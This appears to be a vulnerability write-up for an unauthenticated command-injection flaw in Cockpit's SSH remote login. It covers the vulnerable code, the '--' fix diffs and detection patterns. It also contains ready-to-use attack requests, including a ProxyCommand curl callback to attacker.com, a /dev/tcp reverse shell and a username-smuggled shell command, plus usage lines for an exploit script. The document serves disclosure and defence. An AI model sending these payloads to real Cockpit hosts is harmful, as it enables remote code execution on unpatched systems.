
Cockpit: Unauthenticated Remote Code Execution via SSH Command-Line Argument Injection
| Field | Detail |
|---|
| CVE ID | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| Severity | Critical (CVSS 9.8) |
| Affected versions | Cockpit 327 – 359 |
| Fixed in | Cockpit 360 |
| CWE | CWE-78: OS Command Injection |
| Auth required | NO |
| Reported by | Jelle van der Waa |
Cockpit's remote login feature passes user-supplied hostnames (from the URL path) and usernames (from the Authorization: Basic header) directly to the OpenSSH ssh binary without any validation or sanitization.
An unauthenticated attacker with network access to port 9090 can craft a single HTTP request that:
-oProxyCommand=<cmd>)%r token expansionBoth injection points fire before credential verification completes, meaning no valid login is required.

Before version 327, Cockpit used a dedicated C binary called cockpit-ssh (based on libssh) for remote connections. Starting in version 327, this was replaced with:
python3 -m cockpit.beiboot
which invokes the system OpenSSH ssh client. This change introduced the vulnerability because the new code path passes user-controlled values directly to ssh without sanitization.
-- Separator Before HostnameThe SSH client interprets arguments starting with - as options, not as a hostname, unless a -- separator precedes them. Without --, any hostname beginning with - is parsed as an SSH flag.
Vulnerable construction:
ssh [options] <hostname> <remote-command>
Safe construction:
ssh [options] -- <hostname> <remote-command>
Neither cockpit-ws (C code) nor cockpit.beiboot (Python code) validates or sanitizes:
Authorization: Basic headerargparse Bug (CPython #66623)A known CPython bug causes argparse to mishandle arguments starting with - that also contain spaces, treating them as positionals rather than flags. This allows a -oProxyCommand=evil command hostname to pass through Python argument parsing and reach ssh as an option.
src/cockpit/beiboot.py — Primary Injection PointThis is the most critical file. The via_ssh() function builds the SSH command argument list.
def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
"""Build an ssh command to run `cmd` on `dest`."""
# Parse optional port from dest (e.g. "host:2222")
host, _, port = dest.rpartition(':')
if port.isdigit() and host:
# Strip IPv6 brackets
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# VULNERABLE: No '--' before host
# If host = "-oProxyCommand=evil", ssh treats it as an option
destination = ['-p', port, host]
else:
# VULNERABLE: Raw attacker input passed directly to ssh
destination = [dest]
return (
'ssh', *ssh_opts, *destination, shlex.join(cmd)
)
With dest = "-oProxyCommand=curl http://attacker.com/id":
arg0: ssh
arg1: -oNumberOfPasswordPrompts=1 ← cockpit option
arg2: -oProxyCommand=curl http://... ← PARSED AS SSH OPTION (not host)
arg3: python3 -ic '# cockpit-bridge' ← becomes the "hostname" → triggers ProxyCommand
if port.isdigit() and host:
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# FIXED: '--' forces everything after it to be positional
destination = ['-p', port, '--', host]
else:
# FIXED: '--' separator added
destination = ['--', dest]
src/ws/cockpitauth.c — C Layer: Hostname ExtractionThis C file handles the initial HTTP request parsing and spawns the beiboot process.
static const gchar *
application_parse_host(const gchar *application)
{
const gchar *prefix = "cockpit+=";
gint len = strlen(prefix);
g_return_val_if_fail(application != NULL, NULL);
// Extracts everything after "cockpit+=" from the URL path
// No character validation — dashes, special chars allowed
if (g_str_has_prefix(application, prefix) && application[len] != '\0')
return application + len;
else
return NULL;
}
The returned hostname is passed directly as an argument when spawning beiboot:
// cockpit_ws_ssh_program is the spawn command template
// VULNERABLE: hostname appended with no sanitization
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
// ^
// No trailing '--' means hostname can be parsed
// as a flag by Python's argparse (CPython #66623)
// FIXED: trailing '--' ensures hostname is always positional
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";
static CockpitCreds *
build_session_credentials(CockpitAuth *self,
CockpitWebRequest *request,
const char *application,
const char *host,
const char *type,
const char *authorization)
{
char *user = NULL;
char *raw = NULL;
if (g_strcmp0(type, "basic") == 0) {
// Decodes Authorization: Basic base64(user:password)
// No validation of 'user' — semicolons, special chars allowed
raw = cockpit_authorize_parse_basic(authorization, &user);
}
// 'user' is passed into credentials and eventually to 'ssh -l <user>'
creds = cockpit_creds_new(application,
COCKPIT_CRED_USER, user, // unsanitized
...);
}
vendor/ferny/src/ferny/session.py — Third Injection PointThe bundled ferny library (used for SSH interaction) has the same -- omission in its subprocess call.
async def connect(self, ...):
...
# SSH_ASKPASS_REQUIRE is not generally available, so use setsid
process = await asyncio.create_subprocess_exec(
# VULNERABLE: hardcoded path + no '--' before destination
*('/usr/bin/ssh', *args, destination),
env=env,
start_new_session=True,
stdin=asyncio.subprocess.DEVNULL,
stdout=asyncio.subprocess.DEVNULL,
stderr=agent,
preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL)
)
process = await asyncio.create_subprocess_exec(
# FIXED: PATH lookup instead of hardcoded path + '--' added
*('ssh', *args, '--', destination),
env=env,
...
)
containers/ws/cockpit-auth-ssh-key — Container Deployment PathThis script is the authentication command used in Docker/container-based Cockpit deployments.
#!/usr/bin/env python3
import os, sys
# Extract host from environment
host = os.environ.get('COCKPIT_SSH_CONNECT_TO', sys.argv[1])
# VULNERABLE: same root cause — host passed unsanitized to beiboot
os.execlpe("python3", "python3", "-m", "cockpit.beiboot", host, os.environ)
This is a separate entry point from the main beiboot.py path, meaning container deployments of Cockpit are independently vulnerable even if patched in the main code path.
Precondition: OpenSSH < 9.6 on the Cockpit host (OpenSSH 9.6 introduced early hostname validation that blocks shell metacharacters).
HTTP Request:
GET /cockpit+=-oProxyCommand=<COMMAND>/login HTTP/1.1
Host: <target>:9090
Authorization: Basic aW52YWxpZDppbnZhbGlk
Decoded Authorization: invalid:invalid — any value works.
How it works:
-oProxyCommand=<COMMAND> from the URL path as the "hostname"via_ssh() builds: ssh -oProxyCommand=<COMMAND> python3 -ic '# cockpit-bridge'-oProxyCommand=<COMMAND> as an option (not a host)python3 -ic '# cockpit-bridge' as the hostname<COMMAND> as the ProxyCommand when connecting to that "hostname"<COMMAND> runs as the cockpit-ws process userExample — OOB callback:
GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login HTTP/1.1
Decoded ProxyCommand: curl http://attacker.com/id``
Example — Reverse shell:
GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login HTTP/1.1
Decoded ProxyCommand: bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
%r Token InjectionPrecondition: Target's ssh_config contains a Match exec directive using the %r token (remote username).
Example vulnerable ssh_config:
Match exec "/usr/bin/test %r = blocked_user"
ProxyCommand /bin/false
HTTP Request:
GET /cockpit+=legitimate-host/login HTTP/1.1
Host: <target>:9090
Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk
Decoded Authorization: x; touch /tmp/pwned; #:invalid
Username extracted: x; touch /tmp/pwned; #
How it works:
%r with the username before executing the Match exec command/usr/bin/test x; touch /tmp/pwned; # = blocked_usertouch /tmp/pwned, then ignores the rest
The fix is minimal — adding -- (the POSIX end-of-options separator) before the destination argument in every place SSH is invoked.
src/cockpit/beiboot.py (commit 9d0695647)- destination = ['-p', port, host]
+ destination = ['-p', port, '--', host]
- destination = [dest]
+ destination = ['--', dest]
src/ws/cockpitauth.c (commit 9d0695647)- const gchar *cockpit_ws_ssh_program =
- "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
+ const gchar *cockpit_ws_ssh_program =
+ "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";
vendor/ferny/src/ferny/session.py (commit 44ec511c99)- *('/usr/bin/ssh', *args, destination),
+ *('ssh', *args, '--', destination),
-- Fixes ItThe -- token tells argument parsers (both Python argparse and OpenSSH's option parser) that all subsequent tokens are positional arguments, not options. After --, a value like -oProxyCommand=evil is treated as a literal hostname string, which SSH then rejects as invalid — it never executes anything.
Look for HTTP requests to Cockpit's login endpoint where the path component contains SSH option syntax:
GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login
Specifically watch for:
-oProxyCommand= in the URL path (Vector 1)Authorization: Basic decoded value (Vector 2)# Check for beiboot spawn with suspicious arguments
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
# Check SSH invocations from cockpit-ws user
journalctl _COMM=ssh | grep -v "^--$"
# Check if installed version is vulnerable
dpkg -l cockpit-ws | awk 'NR==5{print $3}'
# Vulnerable if version is between 327 and 359 inclusive
rpm -q cockpit-ws
# Same version check applies
python3 exploit.py --target http://localhost:9090/ --vector username

python3 exploit.py --file url.txt --vector username

python3 exploit.py --target http://localhost:9090/ --vector username --callback CALLBACK

python3 exploit.py --target http://localhost:9090/ --vector username --cmd "id > /tmp/id"

Add to /etc/cockpit/cockpit.conf:
[WebService]
LoginTo = false
This disables the remote login feature entirely, preventing the beiboot code path from being triggered.
| Resource | URL |
|---|---|
| OSS-Security disclosure | https://www.openwall.com/lists/oss-security/2026/04/10/5 |
| GitHub Security Advisory | https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427 |
| Bugzilla issue | https://bugzilla.redhat.com/show_bug.cgi?id=2450246 |
| Fix commit (cockpit) | https://github.com/cockpit-project/cockpit/commit/9d0695647 |
| Fix commit (ferny) | https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99 |
| CPython argparse bug | https://github.com/python/cpython/issues/66623 |
| OpenSSH 9.6 hostname validation | https://github.com/openssh/openssh-portable/commit/7ef3787 |